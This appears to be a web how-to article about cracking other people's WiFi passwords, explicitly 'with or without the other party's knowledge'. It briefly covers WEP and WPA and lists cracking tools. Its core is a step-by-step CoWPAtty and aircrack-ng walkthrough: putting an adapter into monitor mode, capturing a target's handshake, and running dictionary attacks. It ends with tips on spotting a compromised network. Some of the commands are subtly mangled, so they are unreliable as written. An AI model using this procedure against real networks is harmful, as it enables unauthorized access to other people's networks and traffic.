When we need wireless internet, we may feel the need to find out someone else’s WiFi password. There are some methods that allow you to do this with or without the other party’s knowledge. If you want to crack someone else’s WiFi password and access wireless internet, you can use the methods below. But first, we will provide some basic information.
What is a WiFi Password?
A Wi-Fi password is a security tool that prevents others from accessing your wireless network. The Wi-Fi password, along with the name you set for your Wi-Fi network, allows your device to connect to the internet. If you don’t enter this password correctly, you cannot access the WiFi network.
Authentication Techniques in Wireless Networks
Wireless networks are usually password protected as they are easily accessible by anyone. However, let’s take a look at the most commonly used authentication techniques.
WEP
WEP stands for Wired Equivalent Privacy. It was developed for the IEEE 802.11 WLAN standards. Its purpose is to provide privacy equivalent to that provided by wired networks. WEP encrypts data transmitted over the network to prevent eavesdropping.
WEP Authentication
Open System Authentication (OSA) provides access to the requested station authentication according to the configured access policy. Shared Key Authentication (SKA) sends an encrypted challenge to the station requesting access. The station encrypts the challenge with its key and then responds. If the encrypted challenge matches the AP value, access is granted.
WPA
WPA stands for WiFi Protected Access. It is a security protocol developed by the WiFi Alliance in response to the weaknesses of WEP. It is used to encrypt data on 802.11 WLANs. It uses higher Initial Values 48 bits instead of the 24 bits used by WEP. It uses temporary keys to encrypt packets.
WiFi Password Cracking Softwares
It is possible to crack WEP and WPA keys used to access someone else’s WiFi connection. You should be patient while doing this because success in reaching a WiFi password depends on your performing certain operations over time.
To list some of the hack tools you can use to crack WiFi passwords:
- Metasploit
- Wireshark
- Aircrack-ng
- NMap
- Ophcrack
Seeing Someone Else’s WiFi Password with CoWPAtty
Above, we mentioned a few WiFi hacking apps. Apart from them, we would like to mention the hacking program called CoWPAtty. This program allows you to learn anyone’s WiFi password.
Simplifying dictionary attacks on WPA2 passwords and making the process faster, this software is a very powerful tool that we can use to find our WiFi password when we forget it. CoWPAtty, which can also be used to secure your WiFi network information, can be used to learn someone else’s WiFi password.
Here are the steps you need to follow to use the CoWPAtty program:
- Find the CoWPAtty program through the /usr/local/bin directory.
- Then find the help screen by typing CoWPAtty.
- Put the wireless adapter into monitor mode by typing airmon-ng start wlan0.
- Then start a new file by typing airodump-ng –bssid 00:25:9C:97:4F:48 -c 9 -w cowpatty mon0.
- Now start the CoWPAtty program and type cowpatty -f /pentest/passwords/wordlists/darkc0de.lst -r y/root/cowcrack-01.cap -s Mandela2.
- To create your hash value, type genpmk -f /pentest/passwords/wordlists/darkc0de.lst -d hashes -s Mandela2.
- Finally, use your hash value by typing cowpatty -d hashfile -r dumpfile -s ssid.
You need to be familiar with the codes when using CoWPAtty because it is not very likely that an ordinary user can use this hack program in a simple way.
Seeing Someone Else’s WiFi Password with Instabridge
We will also talk about a mobile application called Instabridge. With this application, you can connect to any WiFi without the need for operations like hacking.
Developed for use only on Android devices, the application is mostly used by users to save on mobile data usage.
Along with connecting to a WiFi network with Instabridge, you also have access to interesting features like network speed tests, saving WiFi passwords, and a map view showing nearby WiFi networks.
How Do I Know My WiFi Password Has Been Hacked?
If you have doubts about your WiFi password being hacked, you can consider some details to find out the truth. For example, does your WiFi network slow down strangely from time to time? Do you want to enter the WiFi network you are connected to but it does not accept your password? Are there strange pop-up ads in your browser?
If your answer to these is yes, your WiFi password is likely to have fallen into the hands of someone else. What you need to do is change your WiFi password immediately.
